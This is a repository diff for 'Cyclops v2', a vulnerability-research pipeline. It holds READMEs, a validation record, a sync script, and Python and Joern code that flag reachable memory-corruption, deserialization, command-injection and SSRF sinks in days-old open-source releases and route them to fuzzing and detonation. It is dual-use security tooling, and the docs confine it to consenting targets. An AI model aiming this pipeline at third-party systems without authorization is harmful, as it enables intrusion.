| @@ -0,0 +1,15 @@ | ||
| + | node_modules/ | |
| + | .env | |
| + | .env.* | |
| + | !.env.example | |
| + | .venv/ | |
| + | venv/ | |
| + | __pycache__/ | |
| + | *.pyc | |
| + | dist/ | |
| + | build/ | |
| + | .next/ | |
| + | out/ | |
| + | *.log | |
| + | _logs/ | |
| + | .DS_Store |
| @@ -0,0 +1,60 @@ | ||
| + | # Cyclops v2 - execution-grounded vulnerability research | |
| + | ||
| + | A ground-up rebuild. v1 was a code-*reader* that pattern-matched known bug shapes, | |
| + | drifted to low-severity IDOR/BAC/SSRF, never proved RCE, and only ever found | |
| + | sibling-CVEs. v2 is built on one law: **only an execution artifact may declare a | |
| + | finding** - an ASan crash, a popped shell, a retrieved secret. Never an LLM's opinion. | |
| + | ||
| + | ## The three pillars | |
| + | ||
| + | | Pillar | What | Where | Fixes | | |
| + | |--------|------|-------|-------| | |
| + | | **1 - Memory** | KuzuDB graph (targets→hypotheses→proofs→findings + **cleared-axes**) + Chroma (semantic recall) + Redis (queue/cache) + Obsidian `vault/` | `memory/`, `vault/` | drift, tunnel-vision, re-screening | | |
| + | | **2 - Brain** | Semgrep fast-pass → **Joern CPG dataflow** (reachable source→sink) → CodeQL deep | `brain/` | sibling-CVE-only; finds *novel* unexplored sinks | | |
| + | | **3 - Oracle** | libFuzzer/AFL++ + **ASan/UBSan** → crash triage (GEF) → Docker/CT detonation | `oracle/` | never proved RCE; the only thing that creates a finding | | |
| + | ||
| + | The **severity gate** (`vault/00-doctrine/SEVERITY-GATE.md`) is a *refusal engine*: | |
| + | 8 P1 impact families, each with its exact oracle and its v1 overclaim traps | |
| + | ("injection reachable" ≠ "ATO completes"; "read DoS" ≠ "RCE"). Anything below the | |
| + | gate goes to the cleared-axes log, never to a finding. Enforced in code: | |
| + | `memory.promote_to_finding()` raises unless a non-DISPROVEN `Proof` exists. | |
| + | ||
| + | ## Where it runs | |
| + | ||
| + | Everything runs **on the forge box (CT 236, REDACTED-IP)** - it holds the heavy | |
| + | tools (Joern, CodeQL, AFL++, clang/ASan, Ghidra, KLEE, SymCC) and the venv | |
| + | (`/opt/cyclops-venv`). Redis + KuzuDB are forge-local (Redis bound to localhost - | |
| + | never LAN, that's a gate family). The repo + human-readable `vault/` live on CT 215 | |
| + | (`/shared/projects/cyclops-v2`, Samba-readable so Zion opens the vault in Obsidian). | |
| + | Sync: `rsync -az cyclops-v2/ root@REDACTED-IP:/opt/cyclops-v2/`. | |
| + | ||
| + | ## Operate | |
| + | ||
| + | ```bash | |
| + | # on forge (CYCLOPS_HOME=/opt/cyclops-v2, PY=/opt/cyclops-venv/bin/python) | |
| + | $PY orchestrator/seed_graph.py # seed archetypes + sink classes + gate | |
| + | $PY orchestrator/feed.py 21 # poll fresh releases (<=21d) -> targets queue | |
| + | $PY orchestrator/orchestrator.py drain-targets # brain pass on each fresh target | |
| + | $PY orchestrator/orchestrator.py drain-oracle # route hypotheses to proof | |
| + | $PY orchestrator/orchestrator.py status # graph + queues + GATED findings | |
| + | ``` | |
| + | ||
| + | The loop: **feed → brain (hypotheses) → oracle (proof) → gate (finding) → vault**. | |
| + | Novelty by construction: hunt days-old code (`feed.py`), CPG finds unexplored | |
| + | source→sink paths, sibling-CVE gate runs before deep work. | |
| + | ||
| + | ## Validated | |
| + | ||
| + | `orchestrator/e2e_proof.sh` runs the whole chain on real cJSON source (brain CPG → | |
| + | oracle fuzz → ASan crash → triage → gated finding). `memory/selftest.py` proves the | |
| + | gate refuses findings without proof and honors DISPROVEN (9/9 pass). | |
| + | ||
| + | ## Tooling reality (honest) | |
| + | ||
| + | - Present + verified: Joern (CPG dataflow proven), CodeQL 2.25.1, Semgrep 1.166, | |
| + | AFL++ 4.0, clang-14 + libFuzzer/ASan/UBSan (compile proven), GEF, Ghidra, KLEE, | |
| + | SymCC, Docker 29, KuzuDB 0.11, Chroma 1.5, Redis 8. | |
| + | - **rr unavailable**: this is an unprivileged LXC (`perf_event_paranoid=4`, no HW | |
| + | perf counters). Crash→exploit triage uses GEF + the ASan report instead. | |
| + | - **Firecracker/microVM unavailable**: no `/dev/kvm` in the LXC. Detonation uses | |
| + | Docker on forge + the isolated detonation CT (302) for risky targets. |
| @@ -0,0 +1,45 @@ | ||
| + | # Cyclops v2 - validation record (2026-06-11) | |
| + | ||
| + | Every pillar exercised on real data, not asserted. Reproducible via the scripts named. | |
| + | ||
| + | ## Pillar 1 - Memory + anti-slop gate (`memory/selftest.py`) | |
| + | 9/9 PASS: | |
| + | - finding **REFUSED** without an execution proof (the core anti-slop rule) | |
| + | - finding **ALLOWED** once an ASan-write proof is attached | |
| + | - **DISPROVEN** hypothesis can never become a finding | |
| + | - cleared-axis recall (anti-tunnel-vision) + redis cache/queue/dedup roundtrips | |
| + | ||
| + | ## Pillar 2 - Brain / CPG dataflow (`brain/`, run via `e2e_proof.sh`) | |
| + | - Joern smoke test: traced `argv → strcpy`, `DATAFLOW_PATHS=2`. | |
| + | - On **real cJSON source**: `c-memory-corruption.sc` found **103 reachable | |
| + | source→sink memory-corruption paths** → 103 hypotheses written to the graph. | |
| + | - Query library: **36 Semgrep rules** `--validate` clean + smoke-tested (14 rules | |
| + | fire on the right sinks); 7 Joern dataflow scripts (`reachableByFlows`). | |
| + | ||
| + | ## Pillar 3 - Oracle / dynamic proof (`oracle/`, `crash_demo.py`) | |
| + | - libFuzzer+ASan+UBSan harness **compiled and ran against real cJSON** (clang-14). | |
| + | - On a hardened tag: **no crash → ZERO findings recorded** (refused to fabricate). | |
| + | - Triage→gate on real ASan reports: | |
| + | - heap **WRITE** → CRITICAL → **promoted to Finding** | |
| + | - **use-after-free** → CRITICAL → **promoted to Finding** | |
| + | - heap **READ** → MEDIUM → **CLEARED, NOT inflated to a P1** ← this exact | |
| + | inflation (read-DoS→HIGH) was v1's audited failure mode; v2 refuses it. | |
| + | - Graph held only the 2 RCE-capable findings; the READ went to ClearedAxis. | |
| + | ||
| + | ## Supporting - fresh-target feed (`orchestrator/feed.py`) | |
| + | Pulled **17 real, days-old releases** from live GitHub, e.g. llama.cpp (0.3d old), | |
| + | safetensors v0.8.0 (2.3d), transformers v5.11.0 (1.0d), langchain-core (0.4d), | |
| + | grafana v13.0.2 (2.2d), jenkins (1.1d). Anti-"beaten-to-the-punch" hunting on live data. | |
| + | ||
| + | ## End state | |
| + | Clean seeded graph (6 archetypes, 12 sink classes), **17 fresh targets queued**, | |
| + | 0 fabricated findings. Engine on forge (CT236); repo+vault on CT215. | |
| + | ||
| + | ## Honest limits | |
| + | - `rr` unavailable (unprivileged LXC, `perf_event_paranoid=4`) → GEF + ASan reports | |
| + | for crash→exploit triage instead. | |
| + | - Firecracker/microVM unavailable (no `/dev/kvm`) → Docker + detonation CT 302. | |
| + | - Joern `.sc` scripts authored against the proven `reachableByFlows` form; the C | |
| + | memory-corruption query is run-verified (103 paths), the rest compile-check on | |
| + | first archetype run. Python/JS dynamic-dispatch dataflow can under-resolve | |
| + | (documented in `brain/joern-queries/_runner.md`); the ASan oracle is the arbiter. |
| @@ -0,0 +1,9 @@ | ||
| + | #!/bin/bash | |
| + | # Sync the cyclops-v2 repo (CT215) -> forge engine (/opt/cyclops-v2), WITHOUT | |
| + | # deleting forge-generated runtime artifacts (cloned targets, harnesses, crashes, | |
| + | # the kuzu graph). Code is authoritative on CT215; runtime state lives on forge. | |
| + | rsync -az --delete \ | |
| + | --exclude 'oracle/work/' --exclude 'oracle/crashes/' --exclude 'oracle/harnesses/' \ | |
| + | --exclude 'targets/src/' --exclude 'memory/graph.kuzu/' --exclude '**/__pycache__/' \ | |
| + | -e ssh /shared/projects/cyclops-v2/ root@REDACTED-IP:/opt/cyclops-v2/ | |
| + | echo "synced (runtime artifacts preserved)" |
| @@ -0,0 +1,135 @@ | ||
| + | #!/usr/bin/env python3 | |
| + | """ | |
| + | Cyclops v2 - Pillar 2, the novelty brain. | |
| + | ||
| + | Pipeline on a target source tree: | |
| + | 1. (cache) skip if this commit already analyzed for this phase. | |
| + | 2. semgrep fast-pass -> candidate high-severity sinks (cheap, broad). | |
| + | 3. joern dataflow -> which candidate sinks are REACHABLE from untrusted | |
| + | sources (source->sink taint). Reachable path = a | |
| + | HYPOTHESIS written to the graph. NOT a finding. | |
| + | 4. hand hypotheses to the oracle (Pillar 3) for execution proof. | |
| + | ||
| + | A reachable dataflow path is a hypothesis. Only oracle.py can turn it into a | |
| + | finding, and only memory.promote_to_finding (which requires a Proof) records it. | |
| + | """ | |
| + | import os, sys, json, subprocess, glob | |
| + | sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "memory")) | |
| + | from memory import Memory | |
| + | ||
| + | CYCLOPS_HOME = os.environ.get("CYCLOPS_HOME", "/opt/cyclops-v2") | |
| + | VENV_PY = os.environ.get("CYCLOPS_PY", "/opt/cyclops-venv/bin/python") | |
| + | SEMGREP = os.environ.get("CYCLOPS_SEMGREP", "/opt/cyclops-venv/bin/semgrep") | |
| + | JOERN = os.environ.get("CYCLOPS_JOERN", "/opt/joern/joern-cli/joern") | |
| + | QUERY_DIR = os.path.join(CYCLOPS_HOME, "brain", "joern-queries") | |
| + | RULE_DIR = os.path.join(CYCLOPS_HOME, "brain", "semgrep-rules") | |
| + | ||
| + | # map a joern query script -> the sink_class / impact_family it proves | |
| + | QUERY_SINKCLASS = { | |
| + | "c-memory-corruption.sc": ("memory-corruption", "RCE via Memory Corruption"), | |
| + | "deserialization-rce.sc": ("deserialization", "RCE via Deserialization"), | |
| + | "command-injection.sc": ("command-injection", "RCE via Command Injection"), | |
| + | "path-traversal.sc": ("path-traversal", "Arbitrary File Read/Write"), | |
| + | "ssrf.sc": ("ssrf", "SSRF chains to Critical"), | |
| + | "template-injection.sc": ("template-injection","RCE via Template Injection"), | |
| + | "js-electron-rce.sc": ("electron-rce", "One-Click/Zero-Click RCE"), | |
| + | } | |
| + | ||
| + | ||
| + | def semgrep_pass(src): | |
| + | """Fast broad pass. Returns list of candidate sink dicts.""" | |
| + | if not os.path.isdir(RULE_DIR) or not os.listdir(RULE_DIR): | |
| + | return [] | |
| + | try: | |
| + | out = subprocess.run( | |
| + | [SEMGREP, "--quiet", "--json", "--config", RULE_DIR, src], | |
| + | capture_output=True, text=True, timeout=1200) | |
| + | data = json.loads(out.stdout or "{}") | |
| + | except Exception as e: | |
| + | print(f"[brain] semgrep error: {e}") | |
| + | return [] | |
| + | cands = [] | |
| + | for r in data.get("results", []): | |
| + | cands.append({ | |
| + | "file": r.get("path"), | |
| + | "line": r.get("start", {}).get("line", 0), | |
| + | "rule": r.get("check_id"), | |
| + | "msg": r.get("extra", {}).get("message", ""), | |
| + | }) | |
| + | print(f"[brain] semgrep: {len(cands)} candidate sinks") | |
| + | return cands | |
| + | ||
| + | ||
| + | def joern_query(src, script, project): | |
| + | """Run one joern dataflow script. Returns parsed FINDING lines.""" | |
| + | path = os.path.join(QUERY_DIR, script) | |
| + | if not os.path.exists(path): | |
| + | return [] | |
| + | try: | |
| + | out = subprocess.run( | |
| + | [JOERN, "--script", path, "--param", f"inputPath={src}", | |
| + | "--param", f"projectName={project}"], | |
| + | capture_output=True, text=True, timeout=3600) | |
| + | except subprocess.TimeoutExpired: | |
| + | print(f"[brain] joern timeout on {script}") | |
| + | return [] | |
| + | findings = [] | |
| + | for ln in (out.stdout or "").splitlines(): | |
| + | if ln.startswith("FINDING:"): | |
| + | # FINDING: file:line class=X source=... sink=... | |
| + | try: | |
| + | body = ln[len("FINDING:"):].strip() | |
| + | locpart, rest = body.split(" ", 1) | |
| + | fp, _, lno = locpart.rpartition(":") | |
| + | kv = {} | |
| + | for tok in ("class", "source", "sink"): | |
| + | if tok + "=" in rest: | |
| + | seg = rest.split(tok + "=", 1)[1] | |
| + | # value runs until the next ' key=' marker | |
| + | for nxt in (" class=", " source=", " sink="): | |
| + | if nxt.strip(" =") != tok and nxt in seg: | |
| + | seg = seg.split(nxt)[0] | |
| + | kv[tok] = seg.strip() | |
| + | findings.append({"file": fp, "line": int(lno) if lno.isdigit() else 0, | |
| + | "cls": kv.get("class", ""), "source": kv.get("source", ""), | |
| + | "sink": kv.get("sink", "")}) | |
| + | except Exception: | |
| + | continue | |
| + | return findings | |
| + | ||
| + | ||
| + | def analyze(repo, archetype, src, lang="", commit="", released_at=""): | |
| + | m = Memory() | |
| + | tid = m.upsert_target(repo, archetype, lang=lang, commit=commit, | |
| + | released_at=released_at, status="ANALYZING") | |
| + | if m.analysis_done(tid, "brain"): | |
| + | print(f"[brain] {repo}@{commit} already analyzed (cache hit) - skipping") | |
| + | return tid, [] | |
| + | ||
| + | semgrep_pass(src) # broad triage (logged; informs which queries to prioritize) | |
| + | ||
| + | hyps = [] | |
| + | for script, (sink_class, impact) in QUERY_SINKCLASS.items(): | |
| + | fs = joern_query(src, script, f"cyc_{archetype}") | |
| + | for f in fs: | |
| + | hid = m.add_hypothesis(tid, sink_class, f["file"], f["line"], | |
| + | f["source"], f["sink"], "joern") | |
| + | hyps.append({"hid": hid, "sink_class": sink_class, "impact": impact, | |
| + | "file": f["file"], "line": f["line"], | |
| + | "source": f["source"], "sink": f["sink"]}) | |
| + | if fs: | |
| + | print(f"[brain] {script}: {len(fs)} reachable source->sink paths") | |
| + | m.mark_analysis_done(tid, "brain") | |
| + | m.enqueue("oracle", {"target": tid, "repo": repo, "src": src, | |
| + | "archetype": archetype, "hypotheses": hyps}) | |
| + | print(f"[brain] {repo}: {len(hyps)} HYPOTHESES queued for oracle proof") | |
| + | return tid, hyps | |
| + | ||
| + | ||
| + | if __name__ == "__main__": | |
| + | if len(sys.argv) < 4: | |
| + | print("usage: brain.py <repo> <archetype> <src_path> [lang] [commit]") | |
| + | sys.exit(1) | |
| + | analyze(sys.argv[1], sys.argv[2], sys.argv[3], | |
| + | lang=sys.argv[4] if len(sys.argv) > 4 else "", | |
| + | commit=sys.argv[5] if len(sys.argv) > 5 else "") |
| @@ -0,0 +1,92 @@ | ||
| + | # Cyclops v2 - the static-analysis "novelty brain" | |
| + | ||
| + | This directory (`brain/joern-queries/`) plus its sibling (`brain/semgrep-rules/`) are the **novelty | |
| + | brain** of Cyclops v2: the static layer that surfaces *candidate* source→sink dataflow paths to | |
| + | high-severity sinks. It is the front of a three-stage pipeline. | |
| + | ||
| + | ``` | |
| + | ┌──────────────────────┐ candidate sinks ┌───────────────────────┐ reachable paths ┌────────────────────┐ | |
| + | │ 1. SEMGREP fast-pass │ ───────────────────▶ │ 2. JOERN dataflow │ ─────────────────▶ │ 3. DYNAMIC ORACLE │ | |
| + | │ brain/semgrep-rules/ │ (cheap, per-file │ brain/joern-queries/ │ (source→sink │ oracle/ - crash / │ | |
| + | │ │ regex/AST match) │ reachableByFlows │ reachability) │ shell / secret │ | |
| + | └──────────────────────┘ └───────────────────────┘ └────────────────────┘ | |
| + | SOURCE-shaped? SOURCE_CONFIRMED REPLICA_CONFIRMED → | |
| + | (sink present) (path exists) LIVE_CANARY_CONFIRMED | |
| + | ``` | |
| + | ||
| + | ## The one rule that governs this whole directory | |
| + | ||
| + | > **A reachable dataflow path is a HYPOTHESIS, never a finding.** | |
| + | > Cyclops v1 reasoned its way from "the sink is reachable" to "this is exploitable" and wrote | |
| + | > reports. v2 does not. Reachability ≠ exploitation. The **only** thing that promotes a candidate is | |
| + | > an **execution artifact** produced by the dynamic oracle: | |
| + | > an ASan/UBSan crash with a controlled fault, a popped shell / callback / command output, a | |
| + | > retrieved secret, or a proven state change. See `vault/00-doctrine/OPERATING-CORE.md §2` and | |
| + | > `vault/00-doctrine/SEVERITY-GATE.md`. | |
| + | ||
| + | Every `FINDING:` line a Joern script prints is labelled in the pipeline as **SOURCE_CONFIRMED at | |
| + | best** - it names a *plausible endpoint* on a demonstrable path to one of the eight impact families. | |
| + | It is the oracle's job to fire the family's oracle artifact. If the oracle cannot, the candidate is | |
| + | **DISPROVEN** and logged to `vault/04-cleared-axes/` - it never becomes a report. | |
| + | ||
| + | ## Why two stages (semgrep then Joern) | |
| + | ||
| + | - **Semgrep (`brain/semgrep-rules/`)** is the cheap first pass. It runs per-file, no CPG build, and | |
| + | answers "does this repo even *contain* a dangerous sink of class X?" It is deliberately | |
| + | **HIGH-severity sinks only** - no hardening/lint noise (missing headers, weak ciphers, etc.). Each | |
| + | rule's `message` names the impact gate (which SEVERITY-GATE family) and carries `metadata.cwe`, | |
| + | `metadata.confidence`, `metadata.archetype`, and `metadata.impact`. A semgrep hit is a *candidate | |
| + | sink* - it tells the orchestrator which Joern script is worth the heavier CPG run. | |
| + | - **Joern (`brain/joern-queries/`)** is the confirmation pass. For each candidate sink class it | |
| + | builds a CPG and runs `reachableByFlows` to ask "is there an actual taint path from an untrusted | |
| + | **source** to this **sink**?" A path here is a real source→sink chain, much stronger than sink | |
| + | presence - but still only a hypothesis until the oracle proves impact. | |
| + | ||
| + | Semgrep narrows *which* sink classes exist; Joern proves *reachability*; the oracle proves *impact*. | |
| + | ||
| + | ## Sink classes (organized by target archetype) | |
| + | ||
| + | Archetypes live in `vault/01-archetypes/`: `ml-model-loaders`, `ai-agent-mcp`, `devops-infra`, | |
| + | `electron-desktop`, `memory-unsafe-parsers`, `cicd-supplychain`. | |
| + | ||
| + | | Sink class | Joern script | Semgrep rule | Primary archetypes | Gate family | | |
| + | |---|---|---|---|---| | |
| + | | C/C++ memory corruption | `c-memory-corruption.sc` | *(use compiler+ASan; see note)* | memory-unsafe-parsers, ml-model-loaders | F1, F7 | | |
| + | | Untrusted deserialization | `deserialization-rce.sc` | `deserialization.yaml`, `ml-unsafe-load.yaml` | ml-model-loaders, ai-agent-mcp | F1 | | |
| + | | Command / code injection | `command-injection.sc` | `command-injection.yaml` | devops-infra, ai-agent-mcp, cicd-supplychain | F1 | | |
| + | | Path traversal / zip-slip | `path-traversal.sc` | `path-traversal.yaml` | devops-infra, ml-model-loaders | F7 | | |
| + | | SSRF | `ssrf.sc` | `ssrf.yaml` | ai-agent-mcp, devops-infra, ml-model-loaders | F7 | | |
| + | | Template injection (SSTI) | `template-injection.sc` | `template-injection.yaml` | ai-agent-mcp, devops-infra | F1 | | |
| + | | Electron renderer→main RCE | `js-electron-rce.sc` | `electron.yaml` | electron-desktop | F1 | | |
| + | ||
| + | *(C memory-corruption has no semgrep rule by design - sink *presence* of `strcpy`/`memcpy` is too | |
| + | noisy to be useful triage; the value is the dataflow path plus the ASan oracle. The Joern script | |
| + | still prints `CANDIDATE_SINK` lines if you want the raw sink inventory.)* | |
| + | ||
| + | ## How the orchestrator uses this | |
| + | ||
| + | 1. **Recon → archetype.** Classify the target (an ML loader? an MCP agent? an Electron app?). This | |
| + | selects the relevant semgrep rule files and Joern scripts. | |
| + | 2. **Semgrep fast-pass.** `semgrep --config brain/semgrep-rules/ <target>` (or the subset for the | |
| + | archetype). Candidate sinks → which Joern scripts to run. | |
| + | 3. **Joern confirm.** Run each indicated script (`_runner.md`). Collect `FINDING:` lines = reachable | |
| + | source→sink paths. Prioritize: `[metadata-reachable]` SSRF, `shell=True`-confirmed cmdi, | |
| + | no-normalization path-traversal, `trust_remote_code=True` model loads. | |
| + | 4. **Hand to the oracle.** Each reachable path becomes an oracle task: build a replica | |
| + | (`vault/00-doctrine/OPERATING-CORE.md` replica-first rule), drive the sink with a crafted input, | |
| + | and look for the family's artifact. Artifact → REPLICA_CONFIRMED. No artifact → DISPROVEN + log. | |
| + | 5. **Only the oracle opens a report.** And only inside authorized scope may a LIVE_CANARY step follow. | |
| + | ||
| + | ## Output contract (both layers) | |
| + | ||
| + | - Semgrep: standard semgrep JSON/SARIF. `metadata.impact` + `message` carry the gate mapping. | |
| + | - Joern: parseable stdout - `CANDIDATE_SINK`, `CANDIDATE_SINKS[..]=n`, `FINDING`, | |
| + | `DATAFLOW_PATHS[..]=n`, `SCAN_COMPLETE[..]`. See `_runner.md` for the full grammar and a JSONL | |
| + | parser. | |
| + | ||
| + | ## Authorization reminder | |
| + | ||
| + | Per `OPERATING-CORE §1`, these queries run only against **consenting targets** (owned infra, | |
| + | local replicas, disposable labs, or explicitly in-scope bounty assets). Static analysis of a repo is | |
| + | read-only, but the candidates it produces drive the oracle - and the oracle only ever detonates | |
| + | against an owned replica first. Never point the pipeline at a non-consenting third party. |
| @@ -0,0 +1,107 @@ | ||
| + | # Joern query runner - how to invoke each script and read the output | |
| + | ||
| + | These are the Cyclops v2 **dataflow-confirmation** scripts. Each takes a source path, builds (or | |
| + | loads) a CPG, and runs `reachableByFlows` source→sink taint queries for one sink class. | |
| + | ||
| + | > A `FINDING:` line is a **reachable dataflow path = HYPOTHESIS at SOURCE_CONFIRMED**. It is **never** | |
| + | > a finding. Only the dynamic oracle (crash / popped shell / captured secret) promotes it. See | |
| + | > `README.md` and `vault/00-doctrine/SEVERITY-GATE.md`. | |
| + | ||
| + | ## Binary | |
| + | ||
| + | ``` | |
| + | /opt/joern/joern-cli/joern # symlinked to `joern` on the forge box | |
| + | ``` | |
| + | ||
| + | ## Invoke one script against a target | |
| + | ||
| + | ```bash | |
| + | joern --script /shared/projects/cyclops-v2/brain/joern-queries/<script>.sc \ | |
| + | --param inputPath=/abs/path/to/target/src \ | |
| + | --param projectName=mytarget # optional; defaults per-script | |
| + | ``` | |
| + | ||
| + | `importCode` auto-detects the language (C/C++, Java/JVM, JS/TS, Python, Go, …). Point `inputPath` at | |
| + | the repo root (or the relevant subtree). First run builds the CPG (slow on large trees); the | |
| + | `projectName` workspace is cached under `~/.joern/workspace` for reuse. | |
| + | ||
| + | ### Scripts and what each targets | |
| + | ||
| + | | Script | Languages | Sink class (SEVERITY-GATE family) | | |
| + | |---|---|---| | |
| + | | `c-memory-corruption.sc` | C/C++ | strcpy/memcpy/sprintf/alloca/int-overflow-alloc/array-index (F1 RCE, F7) | | |
| + | | `deserialization-rce.sc` | Python / Java / JS | pickle/yaml/torch/joblib/ObjectInputStream/node-serialize (F1) | | |
| + | | `command-injection.sc` | Py / JS / Java / C | os.system/subprocess(shell=True)/child_process/Runtime.exec/eval (F1) | | |
| + | | `path-traversal.sc` | Py / JS / Java / C | open/sendFile/extractall(zip-slip)/fopen (F7) | | |
| + | | `ssrf.sc` | Py / JS / Java / C | requests/axios/fetch/urllib/curl tainted URL (F7) | | |
| + | | `template-injection.sc` | Py / JS / Java | render_template_string/Handlebars.compile/Freemarker (F1 SSTI) | | |
| + | | `js-electron-rce.sc` | JS/TS | ipcMain handler arg / custom-protocol arg → exec/eval/shell (F1) | | |
| + | ||
| + | ## Reading the output | |
| + | ||
| + | Each script prints machine-parseable lines on stdout: | |
| + | ||
| + | ``` | |
| + | CANDIDATE_SINK: <file>:<line> class=<class> code=<sink call source text> | |
| + | CANDIDATE_SINKS[<class>]=<n> | |
| + | FINDING: <file>:<line> class=<class> source=<tainted source code> sink=<sink code> | |
| + | DATAFLOW_PATHS[<class>]=<n> | |
| + | CONFIG_CANDIDATE: <file>:<line> class=<class> code=<...> # electron only | |
| + | SCAN_COMPLETE[<script>] | |
| + | ``` | |
| + | ||
| + | - **`CANDIDATE_SINK` / `CANDIDATE_SINKS[..]`** - the sink call exists in the code. No taint proven | |
| + | yet. This is the same signal the semgrep fast-pass gives; useful when dataflow under-resolves | |
| + | (e.g. Python dynamic dispatch). Feed to manual review / the oracle's "reachability unknown" queue. | |
| + | - **`FINDING` / `DATAFLOW_PATHS[..]`** - Joern found a taint path from an untrusted source to the | |
| + | sink. The class suffix tells you the source set: `<-input` (IO/web/CLI calls), `<-argv` (C main), | |
| + | `<-io` / `<-params` (dynamic-lang IO calls vs entrypoint parameters), `<-ipc` / `<-proto` / | |
| + | `<-anyparam` (electron). `[metadata-reachable]` on an SSRF line means the path can reach a cloud | |
| + | metadata host - prioritize. | |
| + | - **`DATAFLOW_PATHS[..]=0` with `CANDIDATE_SINKS[..]>0`** - sink present but no taint path resolved. | |
| + | Do **not** discard: dataflow can under-approximate (see limitations). Keep as a lower-priority | |
| + | candidate for the oracle. | |
| + | ||
| + | ### Parse to JSONL (example) | |
| + | ||
| + | ```bash | |
| + | joern --script .../command-injection.sc --param inputPath=/t/src 2>/dev/null \ | |
| + | | grep '^FINDING:' \ | |
| + | | sed -E 's/^FINDING: ([^ ]+) class=([^ ]+) source=(.*) sink=(.*)$/{"loc":"\1","class":"\2","source":"\3","sink":"\4"}/' \ | |
| + | > candidates.jsonl | |
| + | ``` | |
| + | ||
| + | Then hand `candidates.jsonl` to the orchestrator, which routes each to the dynamic oracle for proof. | |
| + | ||
| + | ## Batch all scripts over a target | |
| + | ||
| + | ```bash | |
| + | TGT=/abs/path/to/target/src | |
| + | for s in c-memory-corruption deserialization-rce command-injection path-traversal ssrf template-injection js-electron-rce; do | |
| + | echo "### $s" | |
| + | joern --script /shared/projects/cyclops-v2/brain/joern-queries/$s.sc --param inputPath="$TGT" 2>/dev/null \ | |
| + | | grep -E '^(FINDING|DATAFLOW_PATHS|CANDIDATE_SINKS|SCAN_COMPLETE)' | |
| + | done | |
| + | ``` | |
| + | ||
| + | (The C and electron scripts no-op cleanly on the wrong language - empty candidate sets - so running | |
| + | the full sweep is safe; only the language-matching ones produce output.) | |
| + | ||
| + | ## Limitations / fallbacks (honesty) | |
| + | ||
| + | - **Python / JS dynamic dispatch & aliasing.** `from pickle import loads as L; L(x)` or attribute | |
| + | calls through variables can hide the sink from `.name(...)`. The deser/cmdi/ssti/path scripts | |
| + | therefore match **both** the method name and the full call `.code` regex, and always print | |
| + | `CANDIDATE_SINK`. Inter-procedural taint through deep callback chains may still under-resolve - | |
| + | the candidate list is the safety net. | |
| + | - **`shell=True` for subprocess** is not cheaply readable as a keyword value across Joern versions. | |
| + | We flag all subprocess sinks and add a `py-subprocess-shelltrue` refinement that looks for a | |
| + | literal `True`/`sh` argument near the call. Treat subprocess FINDINGs without confirmed | |
| + | `shell=True` as lower confidence. | |
| + | - **Array-index OOB & pure integer overflow** are not first-class taint sinks; the C script | |
| + | approximates them via index operators and allocator size args. Lower confidence - the oracle's | |
| + | ASan run is the arbiter. | |
| + | - **Electron inline arrow callbacks** may not always resolve via `MethodRef` in every Joern JS | |
| + | frontend version; `js-electron-rce.sc` adds an `<-anyparam` over-approximation source as a net. | |
| + | - **Over-approximation is intentional.** More candidate paths = more hypotheses. The gate is the | |
| + | oracle, not the query. A noisy candidate list is acceptable; a missed sink is not. |
| @@ -0,0 +1,95 @@ | ||
| + | // c-memory-corruption.sc | |
| + | // Cyclops v2 - novelty brain / Joern dataflow pass | |
| + | // SINK CLASS: C/C++ memory corruption (SEVERITY-GATE Family 1 RCE, Family 7 file-read/write). | |
| + | // TARGET ARCHETYPES: memory-unsafe-parsers, ml-model-loaders (the model-file/parser RCE class). | |
| + | // | |
| + | // What this does: builds (or reuses) a CPG for a C/C++ source tree, then for each dangerous | |
| + | // sink class runs a source->sink `reachableByFlows` taint query. It prints: | |
| + | // CANDIDATE_SINK: <file>:<line> class=<c> code=<...> (sink located, no flow proven yet) | |
| + | // FINDING: <file>:<line> class=<c> source=<...> sink=<...> (reachable taint path) | |
| + | // DATAFLOW_PATHS[<class>]=<n> (count of reachable paths) | |
| + | // | |
| + | // A FINDING line here is a HYPOTHESIS at SOURCE_CONFIRMED, NEVER a finding. Only the dynamic | |
| + | // oracle (ASan/UBSan crash with a controlled fault) promotes it. See README.md. | |
| + | // | |
| + | // INVOKE: | |
| + | // joern --script c-memory-corruption.sc --param inputPath=/abs/path/to/src | |
| + | // (optional) --param projectName=mytarget | |
| + | // | |
| + | // LANGUAGE NOTE: array-index OOB and pure integer-overflow are not first-class taint sinks in | |
| + | // Joern; we approximate them via (a) the size argument of allocators and (b) indexing operators. | |
| + | // These are coarser - treat their FINDING lines as lower-confidence hypotheses. | |
| + | ||
| + | import io.joern.dataflowengineoss.language._ | |
| + | import io.joern.dataflowengineoss.queryengine.EngineContext | |
| + | import io.shiftleft.codepropertygraph.generated.nodes.{Call, AstNode} | |
| + | ||
| + | @main def exec(inputPath: String, projectName: String = "cyclops_c"): Unit = { | |
| + | importCode(inputPath = inputPath, projectName = projectName) | |
| + | implicit val ctx: EngineContext = EngineContext() | |
| + | ||
| + | // ---- helpers ------------------------------------------------------------- | |
| + | def clean(s: String): String = s.replace("\n", " ").replace("\r", " ").take(110) | |
| + | ||
| + | def loc(n: AstNode): String = { | |
| + | val ln = n.location.lineNumber.map(_.toString).getOrElse("?") | |
| + | s"${n.location.filename}:$ln" | |
| + | } | |
| + | ||
| + | def emitCands(cls: String, calls: List[Call]): Unit = { | |
| + | calls.foreach(c => println(s"CANDIDATE_SINK: ${loc(c)} class=$cls code=${clean(c.code)}")) | |
| + | println(s"CANDIDATE_SINKS[$cls]=${calls.size}") | |
| + | } | |
| + | ||
| + | def emit(cls: String, flows: List[Path]): Unit = { | |
| + | flows.foreach { p => | |
| + | val s = p.elements.head | |
| + | val k = p.elements.last | |
| + | println(s"FINDING: ${loc(k)} class=$cls source=${clean(s.code)} sink=${clean(k.code)}") | |
| + | } | |
| + | println(s"DATAFLOW_PATHS[$cls]=${flows.size}") | |
| + | } | |
| + | ||
| + | // ---- sources (untrusted input boundary for C/C++) ------------------------ | |
| + | // File/network/CLI/env input. For the parser/model-loader RCE class the strongest source is | |
| + | // file content read by fread/read/mmap/getline. | |
| + | val SRC = "(?i)(read|pread|readv|fread|fgets|getline|getdelim|gets|recv|recvfrom|recvmsg|" + | |
| + | "scanf|fscanf|sscanf|vscanf|vsscanf|getenv|fgetc|getc|getchar|mmap|fgetws|fgetwc|" + | |
| + | "fgetwln|getw|read_file|ReadFile)" | |
| + | def srcCalls = cpg.call.name(SRC).argument // homogeneous Expression traversal | |
| + | def srcArgv = cpg.method.name("main").parameter // argv/argc from CLI | |
| + | ||
